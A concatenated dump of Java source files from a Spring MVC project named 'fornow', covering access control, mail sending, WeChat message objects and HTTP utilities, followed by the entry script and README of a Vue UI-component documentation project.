import org.springframework.security.core.Authentication;
import org.springframework.security.core.GrantedAuthority;
/**
* @author <NAME>
* @since Oct 31, 2013
*/
public class MyAccessDecisionManager implements AccessDecisionManager {
private Logger logger = LoggerFactory.getLogger(getClass());
/*
* (non-Javadoc)
*
* @see
* org.springframework.security.access.AccessDecisionManager#decide(org.
* springframework.security.core.Authentication, java.lang.Object,
* java.util.Collection)
*/
@Override
public void decide(Authentication authentication, Object obj,
Collection<ConfigAttribute> configAttributes)
throws AccessDeniedException, InsufficientAuthenticationException {
if (configAttributes == null) {
return;
}
// 所请求的资源拥有的权限(一个资源对多个权限)
Iterator<ConfigAttribute> iterator = configAttributes.iterator();
while (iterator.hasNext()) {
ConfigAttribute configAttribute = iterator.next();
// 访问所请求资源所需要的权限
String needPermission = configAttribute.getAttribute();
logger.debug("[MyAccessDecisionManager] needPermission is " + needPermission);
// 用户所拥有的权限authentication
for (GrantedAuthority ga : authentication.getAuthorities()) {
logger.debug("[MyAccessDecisionManager] ga.getAuthority() is " + ga.getAuthority());
if (needPermission.contains((ga.getAuthority()))) {
return;
}
}
}
// 没有权限让我们去捕捉
throw new AccessDeniedException(" 没有权限访问！");
}
/*
* (non-Javadoc)
*
* @see
* org.springframework.security.access.AccessDecisionManager#supports(org
* .springframework.security.access.ConfigAttribute)
*/
@Override
public boolean supports(ConfigAttribute arg0) {
return true;
}
/*
* (non-Javadoc)
*
* @see
* org.springframework.security.access.AccessDecisionManager#supports(java
* .lang.Class)
*/
@Override
public boolean supports(Class<?> arg0) {
return true;
}
}
<file_sep>/src/main/java/com/fn/fornow/base/entity/EmailInfo.java
/*****************************************************************************
*
* FORNOW PROPRIETARY INFORMATION
*
* The information contained herein is proprietary to ForNow
* and shall not be reproduced or disclosed in whole or in part
* or used for any design or manufacture
* without direct written authorization from ForNow.
*
* Copyright (c) 2014 by ForNow. All rights reserved.
*
*****************************************************************************/
package com.fn.fornow.base.entity;
/**
* @author <NAME>
* @date Apr 23, 2014 10:31:24 AM
* @email <EMAIL>
*
*/
public class EmailInfo {
private String mailSubject;
private String mailTo;
private String mailToName;
private String mailContent;
/**
* @return the mailSubject
*/
public String getMailSubject() {
return mailSubject;
}
/**
* @param mailSubject the mailSubject to set
*/
public void setMailSubject(String mailSubject) {
this.mailSubject = mailSubject;
}
/**
* @return the mailTo
*/
public String getMailTo() {
return mailTo;
}
/**
* @param mailTo the mailTo to set
*/
public void setMailTo(String mailTo) {
this.mailTo = mailTo;
}
/**
* @return the mailToName
*/
public String getMailToName() {
return mailToName;
}
/**
* @param mailToName the mailToName to set
*/
public void setMailToName(String mailToName) {
this.mailToName = mailToName;
}
/**
* @return the mailContent
*/
public String getMailContent() {
return mailContent;
}
/**
* @param mailContent the mailContent to set
*/
public void setMailContent(String mailContent) {
this.mailContent = mailContent;
}
}
<file_sep>/src/main/java/com/fn/fornow/demo/entity/ReturnJsonBean.java
/**
*
*/
package com.fn.fornow.demo.entity;
import com.google.gson.Gson;
/**
* @author <NAME>
* @date Oct 24, 2013
*/
public class ReturnJsonBean {
private String status = null;
public ReturnJsonBean(String status){
this.status = status;
}
public String toJson(){
return new Gson().toJson(this);
}
/**
* @return the status
*/
public String getStatus() {
return status;
}
}
<file_sep>/src/main/java/com/fn/fornow/common/helper/MailSendHelper.java
/*****************************************************************************
*
* FORNOW PROPRIETARY INFORMATION
*
* The information contained herein is proprietary to ForNow
* and shall not be reproduced or disclosed in whole or in part
* or used for any design or manufacture
* without direct written authorization from ForNow.
*
* Copyright (c) 2014 by ForNow. All rights reserved.
*
*****************************************************************************/
package com.fn.fornow.common.helper;
import java.io.File;
import java.util.Date;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import javax.mail.internet.MimeUtility;
import org.apache.log4j.Logger;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.mail.SimpleMailMessage;
import org.springframework.mail.javamail.JavaMailSender;
import org.springframework.mail.javamail.MimeMessageHelper;
import org.springframework.stereotype.Component;
import com.fn.fornow.common.init.SystemPropertyInit;
/**
* @author <NAME>
* @date Apr 23, 2014 9:06:16 AM
* @email <EMAIL>
*
*/
@Component
public class MailSendHelper {
@Autowired
private JavaMailSender javaMailSender;
private static Logger logger = Logger.getLogger(MailSendHelper.class);
/**
* 发送的文本测试邮件
*
* @param to
* @param mailSubject
* @param mailBody
*/
public void sendTextMail(String to,
String mailSubject, String mailBody) {
if (logger.isDebugEnabled())
logger.debug("准备发送文本形式的邮件");
SimpleMailMessage mail1 = new SimpleMailMessage();
String from = SystemPropertyInit.getInstance().getProperty("mail.form");
mail1.setFrom(from);// 发送人名片
mail1.setTo(to);// 收件人邮箱
mail1.setSubject(mailSubject);// 邮件主题
mail1.setSentDate(new Date());// 邮件发送时间
mail1.setText(mailBody);
// 群发
SimpleMailMessage[] mailMessages = { mail1 };
javaMailSender.send(mailMessages);
if (logger.isDebugEnabled())
logger.debug("文本形式的邮件发送成功！！！");
}
/**
* 以 HTML脚本形式邮件发送
*
* @param to
* @param mailSubject
* @param mailBody
*/
public void sendHtmlMail(String to, String mailSubject,
String mailBody) {
JavaMailSender mailSender = javaMailSender;
MimeMessage mimeMessage = mailSender.createMimeMessage();
try {
if (logger.isDebugEnabled())
logger.debug("HTML脚本形式邮件正在发送");
// 设置utf-8或GBK编码，否则邮件会有乱码
MimeMessageHelper helper = new MimeMessageHelper(mimeMessage, true,
"UTF-8");
// 设置发送人名片
String from = SystemPropertyInit.getInstance().getProperty(
"mail.form");
helper.setFrom(from);
// 设置收件人名片和地址
helper.setTo(new InternetAddress("\""
+ MimeUtility.encodeText("gamil邮箱") + "\" <" + to + ">"));// 发送者
// 邮件发送时间
helper.setSentDate(new Date());
// 设置回复地址
helper.setReplyTo(new InternetAddress(from));
// 设置抄送的名片和地址
// helper.setCc(InternetAddress.parse(MimeUtility.encodeText("抄送人001")
// + " <<EMAIL>>," + MimeUtility.encodeText("抄送人002")
// + " <<EMAIL>>"));
// 主题
helper.setSubject("챔피언쉽");
// 邮件内容，注意加参数true，表示启用html格式
helper.setText(
"<html><head></head><body><h1>hello!!我是乔布斯</h1></body></html>",
true);
// 发送
mailSender.send(mimeMessage);
} catch (Exception e) {
e.printStackTrace();
}
if (logger.isDebugEnabled())
logger.debug("HTML脚本形式邮件发送成功！！！");
}
/**
* 以附件的形式发送邮件
*
* @param to
* 收件人eamil 地址
* @param toName
* 收件人昵称
* @param mailSubject
* 主题
* @param mailBody
* 内容体
* @param files
* 附件
*/
public void sendFileMail(String to, String toName,
String mailSubject, String mailBody, File[] files) {
JavaMailSender mailSender = javaMailSender;
MimeMessage mimeMessage = mailSender.createMimeMessage();
try {
if (logger.isDebugEnabled())
logger.debug("带附件和图片的邮件正在发送");
// 设置utf-8或GBK编码，否则邮件会有乱码
MimeMessageHelper helper = new MimeMessageHelper(mimeMessage, true,
"UTF-8");
// 设置发送人名片
String from = SystemPropertyInit.getInstance().getProperty(
"mail.form");
helper.setFrom(from);
// 设置收件人邮箱
helper.setTo(new InternetAddress("\""
+ MimeUtility.encodeText(toName) + "\" <" + to + ">"));
// 设置回复地址
// helper.setReplyTo(new InternetAddress("@qq.com"));
// 设置收件人抄送的名片和地址(相当于群发了)
// helper.setCc(InternetAddress.parse(MimeUtility.encodeText("邮箱001")
// + " <<EMAIL>>," + MimeUtility.encodeText("邮箱002")
// + " <<EMAIL>>"));
// 主题
helper.setSubject(mailSubject);
// 邮件内容，注意加参数true，表示启用html格式
helper.setText(mailBody);
if (files != null && files.length > 0) {
for (int i = 0; i < files.length; i++)
// 加入附件
helper.addAttachment(
MimeUtility.encodeText(files[i].getName()),
files[i]);
}
// 加入插图
// helper.addInline(MimeUtility.encodeText("pic01"), new File(
// "c:/temp/2dd24be463.jpg"));
// 发送
mailSender.send(mimeMessage);
} catch (Exception e) {
e.printStackTrace();
}
if (logger.isDebugEnabled()) {
logger.debug("带附件和图片的邮件发送成功！！！");
}
}
}
<file_sep>/src/main/java/com/fn/fornow/base/entity/Role.java
/**
*
*/
package com.fn.fornow.base.entity;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.Id;
import javax.persistence.Table;
import org.hibernate.annotations.GenericGenerator;
import com.fn.fornow.common.Cons;
import com.fn.fornow.common.orm.entity.BaseEntity;
/**
* @author <NAME>
* @since Oct 31, 2013
*/
@SuppressWarnings("serial")
@Entity
@Table(name = Cons.simonswPrefix + "role")
public class Role extends BaseEntity {
@Id
@GeneratedValue(generator = "increment")
@GenericGenerator(name = "increment", strategy = "increment")
@Column(name = "role_id")
private Long roleid;
private String name;
private String description;
/**
* @return the name
*/
public String getName() {
return name;
}
/**
* @param name the name to set
*/
public void setName(String name) {
this.name = name;
}
/**
* @return the description
*/
public String getDescription() {
return description;
}
/**
* @param description the description to set
*/
public void setDescription(String description) {
this.description = description;
}
/**
* @return the roleid
*/
public Long getRoleid() {
return roleid;
}
/**
* @param roleid the roleid to set
*/
public void setRoleid(Long roleid) {
this.roleid = roleid;
}
}
<file_sep>/src/main/java/com/fn/fornow/weixin/pojo/ComplexButton.java
/*****************************************************************************
*
* FORNOW PROPRIETARY INFORMATION
*
* The information contained herein is proprietary to ForNow
* and shall not be reproduced or disclosed in whole or in part
* or used for any design or manufacture
* without direct written authorization from ForNow.
*
* Copyright (c) 2014 by ForNow. All rights reserved.
*
*****************************************************************************/
package com.fn.fornow.weixin.pojo;
/**
* 复杂按钮（父按钮）
*
* @author <NAME>
* @date Apr 16, 2014
*/
public class ComplexButton extends Button {
private Button[] subButton;
/**
* @return the subButton
*/
public Button[] getSubButton() {
return subButton;
}
/**
* @param subButton the subButton to set
*/
public void setSubButton(Button[] subButton) {
this.subButton = subButton;
}
}
<file_sep>/src/main/java/com/fn/fornow/weixin/controller/WeixinController.java
/*****************************************************************************
*
* FORNOW PROPRIETARY INFORMATION
*
* The information contained herein is proprietary to ForNow
* and shall not be reproduced or disclosed in whole or in part
* or used for any design or manufacture
* without direct written authorization from ForNow.
*
* Copyright (c) 2014 by ForNow. All rights reserved.
*
*****************************************************************************/
package com.fn.fornow.weixin.controller;
import java.io.IOException;
import java.io.PrintWriter;
import java.io.UnsupportedEncodingException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import com.fn.fornow.common.controller.CommonController;
import com.fn.fornow.common.controller.Module;
import com.fn.fornow.weixin.core.CoreService;
/**
* @author <NAME>
* @date Apr 21, 2014 10:05:57 AM
*
*/
@Controller
@RequestMapping("/weixin")
public class WeixinController extends CommonController {
@RequestMapping(method = RequestMethod.GET)
public String getRequest(HttpServletRequest request, HttpServletResponse response) {
return null;
}
@RequestMapping(method = RequestMethod.POST)
public void postMessage(HttpServletRequest request, HttpServletResponse response){
try {
request.setCharacterEncoding("UTF-8");
response.setCharacterEncoding("UTF-8");
String responseMsg = CoreService.processRequest(request);
logger.debug(String.format("RESPONSE STRING :%s", responseMsg));
PrintWriter out = response.getWriter();
out.print(responseMsg);
out.close();
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
/* (non-Javadoc)
* @see com.fn.fornow.common.controller.CommonController#getModule()
*/
@Override
protected String getModule() {
return Module.example.getName();
}
}
<file_sep>/src/main/java/com/fn/fornow/base/entity/UploadFiles.java
/*****************************************************************************
*
* FORNOW PROPRIETARY INFORMATION
*
* The information contained herein is proprietary to ForNow
* and shall not be reproduced or disclosed in whole or in part
* or used for any design or manufacture
* without direct written authorization from ForNow.
*
* Copyright (c) 2014 by ForNow. All rights reserved.
*
*****************************************************************************/
package com.fn.fornow.base.entity;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.Id;
import javax.persistence.Table;
import org.hibernate.annotations.GenericGenerator;
import com.fn.fornow.common.Cons;
import com.fn.fornow.common.orm.entity.BaseEntity;
/**
* @author <NAME>
* @date Apr 21, 2014 10:58:37 AM
* @email <EMAIL>
*
*/
@SuppressWarnings("serial")
@Entity
@Table(name = Cons.simonswPrefix + "upload")
public class UploadFiles extends BaseEntity {
@Id
@GeneratedValue(generator = "increment")
@GenericGenerator(name = "increment", strategy = "increment")
@Column(name = "upload_id")
private Long uploadid;
private String filepath;
private String mediumpath;
private String smallpath;
private String fileExt;
/**
* @return the uploadid
*/
public Long getUploadid() {
return uploadid;
}
/**
* @param uploadid the uploadid to set
*/
public void setUploadid(Long uploadid) {
this.uploadid = uploadid;
}
/**
* @return the filepath
*/
public String getFilepath() {
return filepath;
}
/**
* @param filepath the filepath to set
*/
public void setFilepath(String filepath) {
this.filepath = filepath;
}
/**
* @return the mediumpath
*/
public String getMediumpath() {
return mediumpath;
}
/**
* @param mediumpath the mediumpath to set
*/
public void setMediumpath(String mediumpath) {
this.mediumpath = mediumpath;
}
/**
* @return the smallpath
*/
public String getSmallpath() {
return smallpath;
}
/**
* @param smallpath the smallpath to set
*/
public void setSmallpath(String smallpath) {
this.smallpath = smallpath;
}
/**
* @return the fileExt
*/
public String getFileExt() {
return fileExt;
}
/**
* @param fileExt the fileExt to set
*/
public void setFileExt(String fileExt) {
this.fileExt = fileExt;
}
}
<file_sep>/src/main/java/com/fn/fornow/base/entity/Resource.java
/**
*
*/
package com.fn.fornow.base.entity;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.Id;
import javax.persistence.Table;
import org.hibernate.annotations.GenericGenerator;
import com.fn.fornow.common.Cons;
import com.fn.fornow.common.orm.entity.BaseEntity;
/**
* @author <NAME>
* @since Oct 31, 2013
*/
@SuppressWarnings("serial")
@Entity
@Table(name = Cons.simonswPrefix + "resource")
public class Resource extends BaseEntity {
@Id
@GeneratedValue(generator = "increment")
@GenericGenerator(name = "increment", strategy = "increment")
@Column(name = "resource_id")
private Long resourceid;
private String type;
private String value;
private String modelname;
private String parentid;
/**
* @return the type
*/
public String getType() {
return type;
}
/**
* @param type the type to set
*/
public void setType(String type) {
this.type = type;
}
/**
* @return the value
*/
public String getValue() {
return value;
}
/**
* @param value the value to set
*/
public void setValue(String value) {
this.value = value;
}
/**
* @return the modelname
*/
public String getModelname() {
return modelname;
}
/**
* @param modelname the modelname to set
*/
public void setModelname(String modelname) {
this.modelname = modelname;
}
/**
* @return the parentid
*/
public String getParentid() {
return parentid;
}
/**
* @param parentid the parentid to set
*/
public void setParentid(String parentid) {
this.parentid = parentid;
}
/**
* @return the resourceid
*/
public Long getResourceid() {
return resourceid;
}
/**
* @param resourceid the resourceid to set
*/
public void setResourceid(Long resourceid) {
this.resourceid = resourceid;
}
}
<file_sep>/src/main/java/com/fn/fornow/demo/entity/Demo.java
package com.fn.fornow.demo.entity;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.Id;
import javax.persistence.Table;
import org.hibernate.annotations.GenericGenerator;
import com.fn.fornow.common.Cons;
import com.fn.fornow.common.orm.entity.BaseEntity;
/**
* @author <NAME>
* @since 2012-8-9
*/
@SuppressWarnings("serial")
@Entity
@Table(name = Cons.simonswPrefix + "demo")
public class Demo extends BaseEntity {
@Id
@GeneratedValue(generator = "increment")
@GenericGenerator(name = "increment", strategy = "increment")
@Column(name = "id")
private Long id;
private String employeeNo;
private String name;
private String sex;
private Boolean status;
private Boolean type;
private String ext;
private String code;
public String getEmployeeNo() {
return employeeNo;
}
public void setEmployeeNo(String employeeNo) {
this.employeeNo = employeeNo;
}
public String getSex() {
return sex;
}
public void setSex(String sex) {
this.sex = sex;
}
public Boolean getStatus() {
return status;
}
public void setStatus(Boolean status) {
this.status = status;
}
public Boolean getType() {
return type;
}
public void setType(Boolean type) {
this.type = type;
}
public void setName(String name) {
this.name = name;
}
public String getName() {
return name;
}
public String getExt() {
return ext;
}
public void setExt(String ext) {
this.ext = ext;
}
/**
* @return the code
*/
public String getCode() {
return code;
}
/**
* @param code the code to set
*/
public void setCode(String code) {
this.code = code;
}
/**
* @return the id
*/
public Long getId() {
return id;
}
/**
* @param id the id to set
*/
public void setId(Long id) {
this.id = id;
}
}
<file_sep>/src/main/java/com/fn/fornow/weixin/pojo/AccessToken.java
/*****************************************************************************
*
* FORNOW PROPRIETARY INFORMATION
*
* The information contained herein is proprietary to ForNow
* and shall not be reproduced or disclosed in whole or in part
* or used for any design or manufacture
* without direct written authorization from ForNow.
*
* Copyright (c) 2014 by ForNow. All rights reserved.
*
*****************************************************************************/
package com.fn.fornow.weixin.pojo;
/**
* 微信通用接口凭证
*
* @author <NAME>
* @date Apr 16, 2014
*/
public class AccessToken {
// 获取到的凭证
private String token;
// 凭证有效时间，单位：秒
private int expiresIn;
/**
* @return the token
*/
public String getToken() {
return token;
}
/**
* @param token the token to set
*/
public void setToken(String token) {
this.token = token;
}
/**
* @return the expiresIn
*/
public int getExpiresIn() {
return expiresIn;
}
/**
* @param expiresIn the expiresIn to set
*/
public void setExpiresIn(int expiresIn) {
this.expiresIn = expiresIn;
}
}
<file_sep>/src/main/java/com/fn/fornow/common/util/HttpUtils.java
/**
*
*/
package com.fn.fornow.common.util;
import java.io.BufferedReader;
import java.io.PrintWriter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.ByteArrayEntity;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.params.HttpConnectionParams;
import org.apache.http.params.HttpParams;
import org.apache.http.util.EntityUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
* @author <NAME>
* @date Oct 24, 2013
*/
public class HttpUtils {
private static Logger log = LoggerFactory.getLogger(HttpUtils.class);
private static int TIMEOUT = 60 * 1000;
private static String HTTP_HEAD_CONTENT_TYPE = "Content-Type";
private static String HTTP_HEAD_CONTENT_TYPE_VALUE = "application/json; charset=utf-8";
/**
*
* @param response
* @param jsonStr
* @throws Exception
*/
public static void respWrite(HttpServletResponse response, String jsonStr)
throws Exception {
response.setContentType("application/json;charset=UTF-8");
PrintWriter writer = response.getWriter();
log.debug("Response Json Data: "+jsonStr);
writer.write(jsonStr);
writer.flush();
writer.close();
}
/**
*
* @param request
* @return
* @throws Exception
*/
public static String getReqJson(HttpServletRequest request)
throws Exception {
BufferedReader reader = request.getReader();
StringBuffer buffer = new StringBuffer();
String str;
while ((str = reader.readLine()) != null) {
buffer.append(str);
}
reader.close();
return buffer.toString();
}
/**
* Get HttpClient
*
* @return
*/
private static HttpClient getHttpClient() {
HttpClient client = new DefaultHttpClient();
HttpParams httpParams = client.getParams();
HttpConnectionParams.setConnectionTimeout(httpParams, TIMEOUT);
HttpConnectionParams.setSoTimeout(httpParams, TIMEOUT);
return client;
}
/**
* Use Http to post message
*
* @param url
* @param request
* @return
*/
public static String post(String url, String request) {
log.debug(String.format("Http Status url = [%s]", url));
log.debug(String.format("Http Status request = [%s]", request));
HttpClient client = getHttpClient();
HttpPost post = getHttpPost(url, request);
String response = null;
try {
HttpResponse res = client.execute(post);
int statusCode = res.getStatusLine().getStatusCode();
log.debug(String.format("Http Status Code = [%s]", statusCode));
if (statusCode == 200) {
response = EntityUtils.toString(res.getEntity(), "UTF-8");
} else {
}
} catch (Exception e) {
log.error("Http Component Send Post Request Execption.", e);
}
return response;
}
/**
* Get the HttpPost info
*
* @param url
* @param contextString
* @return
*/
private static HttpPost getHttpPost(String url, String contextString) {
HttpPost post = new HttpPost(url);
post.setHeader(HTTP_HEAD_CONTENT_TYPE, HTTP_HEAD_CONTENT_TYPE_VALUE);
HttpEntity entity = new ByteArrayEntity(contextString.getBytes());
post.setEntity(entity);
return post;
}
/**
* Use HttpGet to get response message
*
* @param url
* @return
*/
public static String get(String url) {
HttpClient client = getHttpClient();
log.debug(url);
HttpGet get = getHttpGet(url);
String response = null;
try {
HttpResponse res = client.execute(get);
int statusCode = res.getStatusLine().getStatusCode();
log.debug(String.format("Http Status Code = %s", statusCode));
if (statusCode == 200) {
response = EntityUtils.toString(res.getEntity(), "UTF-8");
} else {
}
} catch (Exception e) {
log.error("Http Component Send Get Request Execption.", e);
}
return response;
}
/**
* Create HttpGet
*
* @param url
* @return
*/
private static HttpGet getHttpGet(String url) {
HttpGet get = new HttpGet(url);
return get;
}
}
<file_sep>/src/main/java/com/fn/fornow/security/MyLogoutSuccessHandler.java
/**
*
*/
package com.fn.fornow.security;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.security.core.Authentication;
import org.springframework.security.web.authentication.logout.LogoutSuccessHandler;
/**
* @author <NAME>
* @since Nov 5, 2013
*/
public class MyLogoutSuccessHandler implements LogoutSuccessHandler {
private Logger logger = LoggerFactory.getLogger(getClass());
/*
* (non-Javadoc)
*
* @see
* org.springframework.security.web.authentication.logout.LogoutSuccessHandler
* #onLogoutSuccess(javax.servlet.http.HttpServletRequest,
* javax.servlet.http.HttpServletResponse,
* org.springframework.security.core.Authentication)
*/
@Override
public void onLogoutSuccess(HttpServletRequest request,
HttpServletResponse response, Authentication authentication)
throws IOException, ServletException {
if (authentication != null) {
logger.debug(authentication.getName() + "Logout==>");
}
response.sendRedirect(request.getContextPath());
}
}
<file_sep>/src/main/java/com/fn/fornow/base/controller/HomeController.java
/**
*
*/
package com.fn.fornow.base.controller;
import java.text.DateFormat;
import java.util.Date;
import java.util.HashMap;
import java.util.Locale;
import java.util.Map;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import com.fn.fornow.base.entity.EmailInfo;
import com.fn.fornow.common.controller.CommonController;
import com.fn.fornow.common.controller.Module;
import com.fn.fornow.common.controller.path.ResultPath;
import com.fn.fornow.common.helper.FreemarkerHelper;
import com.fn.fornow.common.helper.JSONHelper;
import com.fn.fornow.common.helper.MailSendHelper;
import com.fn.fornow.common.util.HttpUtils;
import com.fn.fornow.demo.entity.ReturnJsonBean;
import com.fn.fornow.enums.ReturnModule;
/**
* @author <NAME>
* @since Oct 29, 2013
*/
@Controller
@RequestMapping()
public class HomeController extends CommonController {
@Autowired
private MailSendHelper sendMaileUtil;
@RequestMapping(method = RequestMethod.GET)
public String home(Locale locale, Model model) {
logger.info("Welcome home! The client locale is {}.", locale);
DateFormat dateFormat = DateFormat.getDateTimeInstance(DateFormat.LONG,
DateFormat.LONG, locale);
model.addAttribute("serverTime", dateFormat.format(new Date()));
return ResultPath.GOTO_HOME;
}
@RequestMapping(value = ResultPath.login, method = RequestMethod.GET)
public String login(Model model) {
model.addAttribute("errorMessages", "");
return ResultPath.GOTO_LOGIN;
}
@RequestMapping(value = ResultPath._403, method = RequestMethod.GET)
public String limitFor403(Model model) {
return ResultPath.GOTO_403;
}
@RequestMapping(value = ResultPath.logout, method = RequestMethod.GET)
public String logout(Model model) {
return ResultPath.GOTO_INDEX;
}
@RequestMapping("/hello")
public String sayHello(HttpServletRequest request) {
System.out.println("say Hello ……");
Map<String, Object> map = new HashMap<String, Object>();
map.put("name", " World!");
String targetPath = "hello.html";
FreemarkerHelper.crateHTML(request.getSession().getServletContext(),
map, "/hello.ftl", targetPath);
return redirect(FreemarkerHelper.STATIC_FTL_PATH + targetPath);
}
@RequestMapping("/hi")
public String sayHi(HttpServletRequest request) {
System.out.println("say hi ……");
Map<String, Object> map = new HashMap<String, Object>();
map.put("name", "Simon");
String targetPath = "hi.html";
FreemarkerHelper.crateHTML(request.getSession().getServletContext(),
map, "/hi.ftl", targetPath);
return redirect(FreemarkerHelper.STATIC_FTL_PATH + targetPath);
}
@RequestMapping(value = "/mail")
public String gotoMail(HttpServletRequest request,
HttpServletResponse response) throws Exception {
logger.debug(" Go to Mail page ==> ");
return ResultPath.mail;
}
@RequestMapping(value = "/sendMail", method = RequestMethod.POST)
public void saveJsonInfo(HttpServletRequest request,
HttpServletResponse response) throws Exception {
logger.debug(" Send Email ==> ");
EmailInfo emailInfo = JSONHelper.fromJson(HttpUtils.getReqJson(request),
EmailInfo.class);
sendMaileUtil.sendTextMail(emailInfo.getMailTo(),
emailInfo.getMailSubject(), emailInfo.getMailContent());
HttpUtils.respWrite(response,
new ReturnJsonBean(ReturnModule.success.getStatus()).toJson());
}
/*
* (non-Javadoc)
*
* @see com.fn.fornow.common.controller.CommonController#getModule()
*/
@Override
protected String getModule() {
return Module.example.getName();
}
}
<file_sep>/src/main/java/com/fn/fornow/common/util/StringUtils.java
package com.fn.fornow.common.util;
import java.io.UnsupportedEncodingException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
import java.util.List;
import java.util.Set;
import java.util.StringTokenizer;
import org.apache.commons.collections.CollectionUtils;
import com.google.common.collect.Lists;
import com.google.common.collect.Sets;
/**
* @author <NAME>
* @since 2012-6-10
*/
public class StringUtils {
public static final String COMMA = ",";
public static final String POINT = "\\.";
public static final String UNDERLINE = "_";
public static List<String> stringTokenizer(String value) {
List<String> results = Lists.newArrayList();
StringTokenizer st = new StringTokenizer(value);
while (st.hasMoreElements()) {
String str = st.nextElement().toString();
if (org.apache.commons.lang.StringUtils.isNotBlank(str)) {
results.add(str);
}
}
return results;
}
public static String collectionToString(Collection<Object> collection) {
if (CollectionUtils.isEmpty(collection)) {
return "";
} else {
StringBuilder builder = new StringBuilder();
for (Object obj : collection) {
if (builder.length() != 0) {
builder.append(COMMA).append(String.valueOf(obj));
} else {
builder.append(String.valueOf(obj));
}
}
return builder.toString();
}
}
public static Set<Long> stringToSet(String str) {
Set<Long> result = Sets.newHashSet();
if (org.apache.commons.lang.StringUtils.isBlank(str)) {
return result;
}
for (String value : str.split(COMMA)) {
result.add(Long.valueOf(value));
}
return result;
}
public static Set<Long> stringToSet(String[] values) {
Set<Long> result = Sets.newHashSet();
if (values != null) {
for (String value : values) {
result.add(Long.valueOf(value));
}
}
return result;
}
/**
*
* @param content
* @return
*/
public static int getByteSize(String content) {
int size = 0;
if (isNoEmpty(content)) {
try {
size = content.getBytes("utf-8").length;
} catch (UnsupportedEncodingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
return size;
}
/**
* String to List with special character
*
* @param arrayStr
* @param special
* @return
*/
public static List<String> getListWithSpecial(String arrayStr,
String special) {
List<String> array = new ArrayList<String>();
if (isNoEmpty(arrayStr)) {
String[] arrays = arrayStr.split(special);
array = Arrays.asList(arrays);
}
return array;
}
public static boolean isNoEmpty(String str) {
if (str != null && !"".equals(str)) {
return true;
}
return false;
}
/*public static String getFileExt(String fileName) {
if (isNoEmpty(fileName)) {
List<String> array = getListWithSpecial(fileName, POINT);
if (array.size() > 0) {
return "." + array.get(array.size() - 1);
}
}
return null;
}*/
}
<file_sep>/README.md
fornow
======
This project is the base structure of project for ForNow
<file_sep>/src/main/java/com/fn/fornow/weixin/message/response/MusicMessage.java
/*****************************************************************************
*
* FORNOW PROPRIETARY INFORMATION
*
* The information contained herein is proprietary to ForNow
* and shall not be reproduced or disclosed in whole or in part
* or used for any design or manufacture
* without direct written authorization from ForNow.
*
* Copyright (c) 2014 by ForNow. All rights reserved.
*
*****************************************************************************/
package com.fn.fornow.weixin.message.response;
/**
* 音乐消息
*
* @author <NAME>
* @date Apr 15, 2014
*/
public class MusicMessage extends BaseMessage {
// 音乐
private Music music;
/**
* @return the music
*/
public Music getMusic() {
return music;
}
/**
* @param music the music to set
*/
public void setMusic(Music music) {
this.music = music;
}
}
|
2f6c22dda46722b4db24d6eacce98e69264c5727
|
[
"Markdown",
"Java"
] | 24 |
Java
|
simon5408/fornow
|
787bb712c64f152d5f49a91873b4ab60cc3c306d
|
b878b9d879fa9a66c289d31b65fed32047e78406
|
refs/heads/master
|
<file_sep>// The Vue build version to load with the `import` command
// (runtime-only or standalone) has been set in webpack.base.conf with an alias.
import 'babel-polyfill'
import Vue from 'vue'
import Viui from 'viui'
import App from './App'
import router from './router'
// 引入Viui
Vue.use(Viui)
Vue.config.productionTip = false
/* eslint-disable no-new */
new Vue({
el: '#app',
router,
template: '<App/>',
components: { App }
})
/* 调用 Google code prettify*/
Vue.directive('prettify', {
inserted() {
// const c = el.querySelector('code')
// c.innerHTML = c.innerHTML.replace(/</g, '<').replace(/>/g, '>')
window.prettyPrint()
}
})
<file_sep># viui-doc
一款MetroUI 风格的Vue.js组件库（ 如果喜欢这个后台模板风格记得Star哦）
### 提示
本项目暂时不支持响应式
### 下载源码
> $ git clone https://github.com/watson-yan/viui-doc.git
cd到目录
> $ cd viui-doc
下载依赖项
> $ cd npm install
在浏览器中打开项目
> $ npm run dev
### 修改页面
本项目是由通过vue-cli生成的结构，如果习惯vue-cli的同学很好改页面
### 右侧菜单栏
在/src/App.vue的data中配置:
```javascript
menu: [
{
title: 'Demo', // 主标题
icon: 'fa fa-home', //主ICON
// 子节点
nodes: [
{ name: 'Demo1', icon: 'fa fa-laptop', link: '/demo1' },
{ name: 'Demo2', icon: 'fa fa-laptop', link: '/demo2' },
{ name: 'Demo3', icon: 'fa fa-laptop', link: '/demo3' }
]
},
{
title: '组件',
icon: 'fa fa-star',
nodes: [
{ name: 'Dropdown 下拉按钮', icon: 'fa fa-caret-down', link: '/dropdown-demo' },
{ name: 'Select 下拉框', icon: 'fa fa-angle-down', link: '/select-demo' },
